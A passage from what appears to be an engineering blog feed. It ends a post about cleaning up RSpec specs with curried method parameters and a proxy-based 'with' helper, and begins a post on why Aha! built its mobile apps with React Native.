&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  describe_instance_method &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:a_long_and_descriptive_method&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    subject { described_method.call(subscription_class, value) }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    with &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;subscription_class:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; :enterprise&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      with(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;value:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) { it { is_expected.to eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) } }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      with(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;value:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 8&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) { it { is_expected.to eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) } }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    with &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;subscription_class:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; :enterprise_plus&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      with(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;value:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 11&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) { it { is_expected.to eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) } }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      with(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;value:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) { it { is_expected.to eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) } }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we’re getting somewhere. Our tests are short and expressive, and basically all the boilerplate is gone.&lt;/p&gt;
&lt;h3&gt;Everything is better with curry&lt;/h3&gt;
&lt;p&gt;Having the subject there is nice, but now I&apos;m thinking it could be better. What if instead of telling rspec that my subject is the invocation of my method with certain parameters, I could just tell it what those parameters were?&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; method_parameters&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;parameters)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    let &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:method_called_with_parameters&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      parameters.inject(described_method.curry) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |curry, parameter|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        curry.call(send(parameter))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    subject { method_called_with_parameters }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;curry&lt;/code&gt; method doesn&apos;t show up outside of code-golf often but it&apos;s pretty cool. It allows you to do &lt;a href=&quot;https://en.wikipedia.org/wiki/Partial_application&quot;&gt;partial application&lt;/a&gt; in ruby. As a result - I don&apos;t have to declare my subject explicitly anymore. I just have to call &lt;code&gt;method_parameters(:subscription_class, :value)&lt;/code&gt;, and everything just works.&lt;/p&gt;
&lt;p&gt;The way I&apos;ve written it here, there&apos;s also &lt;code&gt;let(:method_called_with_parameters)&lt;/code&gt;. This is so I can do something like this, if I&apos;m testing for side effects:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;expect { method_called_with_parameters }.to change(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Feature&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;. &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:count&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).by(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I&apos;m also not crazy about that weird &lt;code&gt;{ it { condition } }&lt;/code&gt; block ; it looks like a busted handlebars template. Honestly, if I wasn’t writing a blog post about it, I&apos;d leave it as it is. But since we’re here, let&apos;s refactor our &lt;code&gt;with&lt;/code&gt; method. I want to be able to give it a block (in which case it should do exactly what it does now), or call &lt;code&gt;.it&lt;/code&gt; directly on it to give it a one-line expectation. The only real way to do that is to use a proxy object:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; WithProxy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; initialize&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(example_group, lets)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      @example_group &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; example_group&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      @lets &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; lets&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; context_description&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      @lets.map{ |k, v| &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;#{k}&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;#{v}&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}.join(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;,&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; call&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;block)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      lets &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; @lets&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      @example_group.context(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;with &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;#{context_description}&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        lets.each &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |lk, lv|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          let(lk) { lv }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;        end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        instance_eval(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;block)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; it&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;block)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      call { it(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;block) }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; with&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(lets, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;block)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    proxy &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; WithProxy&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;self&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, lets)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; block&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      proxy.call(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;block)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    else&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      proxy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;The big pay-off&lt;/h3&gt;
&lt;p&gt;With that little bit of weirdness out of the way, check out our end result:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;./service&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;./final_rspec_with_extensions&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;describe &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;ServiceObjectUnderTest&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  describe_instance_method &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:a_long_and_descriptive_method&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    method_parameters(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:subscription_class&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:value&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    with &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;subscription_class:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; :enterprise&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      with(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;value:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).it { is_expected.to eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      with(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;value:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 8&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).it { is_expected.to eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    with &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;subscription_class:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; :enterprise_plus&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      with(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;value:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 11&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).it { is_expected.to eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      with(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;value:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).it { is_expected.to eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now THIS sparks some joy. I don’t have to include anonymous contexts, and I can use &lt;code&gt;with&lt;/code&gt; in two different, powerful ways. I can use it as a combination &lt;code&gt;context&lt;/code&gt; and &lt;code&gt;let&lt;/code&gt; to introduce multiple examples. I can also immediately call &lt;code&gt;.it&lt;/code&gt; to get a one-line expectation with an implicit subject.&lt;/p&gt;
&lt;p&gt;I get a beautiful, self-evident description of what the method should do in a variety of circumstances. I&apos;ll admit, I&apos;ve never really been a TDD guy before - but something like this makes TDD a snap. Writing these specifications is quick, clean, and painless.&lt;/p&gt;
&lt;p&gt;This is the output I get from running the above example, which is also very readable.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;$ rspec --format=documentation 05_one_line_with_proxy.rb&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ServiceObjectUnderTest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  #a_long_and_descriptive_method&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    with subscription_class=enterprise&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      with value=10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        should eq 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      with value=8&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        should eq 8&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    with subscription_class=enterprise_plus&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      with value=11&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        should eq 11&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      with value=2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        should eq 2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;Hacking together the improvements to the specs above didn&apos;t take that long, and now we have some powerful new tools for writing clean, joyful specs. They&apos;re faster to write, easier to read, and easier to add to in the future. Take some time to optimize your code for developer happiness, and you may just find a huge productivity boost as a result.&lt;/p&gt;
&lt;p&gt;If you want to find the whole extension that I wrote for this post, you can get it over at &lt;a href=&quot;https://github.com/alexbartlow/rspec-with-blog-post&quot;&gt;my github.&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Our Secret Sauce Is React Native]]></title><description><![CDATA[It's been an up-and-down kind of year for React Native. Last summer, Udacity and Airbnb announced that they were moving off of the platform…]]></description><link>https://www.aha.io/engineering/articles/secret-sauce-react-native</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/secret-sauce-react-native</guid><dc:creator><![CDATA[Zach Schneider]]></dc:creator><pubDate>Wed, 17 Apr 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;It&apos;s been an up-and-down kind of year for React Native. Last summer, &lt;a href=&quot;https://engineering.udacity.com/react-native-a-retrospective-from-the-mobile-engineering-team-at-udacity-89975d6a8102&quot;&gt;Udacity&lt;/a&gt; and &lt;a href=&quot;https://medium.com/airbnb-engineering/sunsetting-react-native-1868ba28e30a&quot;&gt;Airbnb&lt;/a&gt; announced that they were moving off of the platform; &lt;a href=&quot;https://blog.discord.com/why-discord-is-sticking-with-react-native-ccc34be0d427&quot;&gt;Discord&lt;/a&gt; is sticking with React Native but still publicized a number of issues they experienced, and their Android app does not use React Native at all. Facebook has &lt;a href=&quot;http://reactnative.dev/blog/2018/06/14/state-of-react-native-2018&quot;&gt;recommitted&lt;/a&gt; to supporting the platform and published an &lt;a href=&quot;http://reactnative.dev/blog/2018/11/01/oss-roadmap&quot;&gt;open source roadmap&lt;/a&gt;, but many engineers remain skeptical of React Native&apos;s future.&lt;/p&gt;
&lt;p&gt;Amidst the FUD, I think it&apos;s important to keep a balanced perspective. Every framework has its drawbacks, but React Native is still an enormous improvement upon any hybrid mobile framework that came before it. For us at Aha!, React Native was a godsend. We used it to build and release our mobile applications for both &lt;a href=&quot;https://apps.apple.com/us/app/aha/id1378433025&quot;&gt;iOS&lt;/a&gt; and &lt;a href=&quot;https://play.google.com/store/apps/details?id=io.aha.mobile&quot;&gt;Android&lt;/a&gt;. We had an excellent experience using the framework and have no regrets about our technology choice. I&apos;m writing this post particularly to document some of the benefits we found, and why React Native was a perfect fit for our use case.&lt;/p&gt;
&lt;h3&gt;Truly feels native&lt;/h3&gt;
&lt;p&gt;It&apos;s easy to overlook this, but React Native is the first framework that seems to come anywhere close to delivering on the promise of hybrid apps that actually feel native to each platform. React code is rendered to native UI components implemented with Objective-C and Java. This makes it easy to use device-specific design language and follow the Apple/Android interface guidelines while also delivering native-quality application performance. We found very few of the problems common among hybrid mobile frameworks -- interactions and animations are buttery smooth, and the app is snappy and just plain satisfying to use.&lt;/p&gt;
&lt;h3&gt;Two apps from one codebase&lt;/h3&gt;
&lt;p&gt;Again, React Native finally delivers a benefit that was promised but never fully realized by past hybrid frameworks. You can write your code once, in JavaScript, and seamlessly render it to multiple platforms. Only a small handful of components in our codebase are specific to one platform, and that&apos;s only in areas where we truly wanted a different experience with iOS- and Android-specific logic. For our other components, we found it simple to tailor details of the user interface for each platform using conditional styling -- like using different icons to match the common design language of both environments, or centering the navigation on iOS while left-aligning it on Android.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/24e603cca2ce0e3df0d1502662bacaa4/ui-platform-comparison.png&quot; alt=&quot;Comparison of feature detail UI on iOS vs. Android&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Leverage existing developer knowledge&lt;/h3&gt;
&lt;p&gt;Aha! is first and foremost a web application; we did not offer a mobile app for the first five years of the product&apos;s existence. As such, we didn&apos;t (and still don&apos;t) have any dedicated mobile engineers on our team. We did, however, have plenty of React experience, as we&apos;ve used React for several years to build rich, client-side user experiences for our web application. React Native allowed us to seamlessly leverage that existing knowledge to build a mobile app that our entire team could quickly grok and contribute to as needed. The code patterns are very similar to React on the web -- we use redux with sagas for data storage and mutation, and jest/enzyme for testing. The only real differences are the parts that are truly specific to mobile, such as navigation and device-specific styling. This was a tremendous boon for us because it significantly lowered the barrier to entry. We were able to build and launch our applications without having to hire a mobile-specific engineering team.&lt;/p&gt;
&lt;h3&gt;Build and ship really, really fast&lt;/h3&gt;
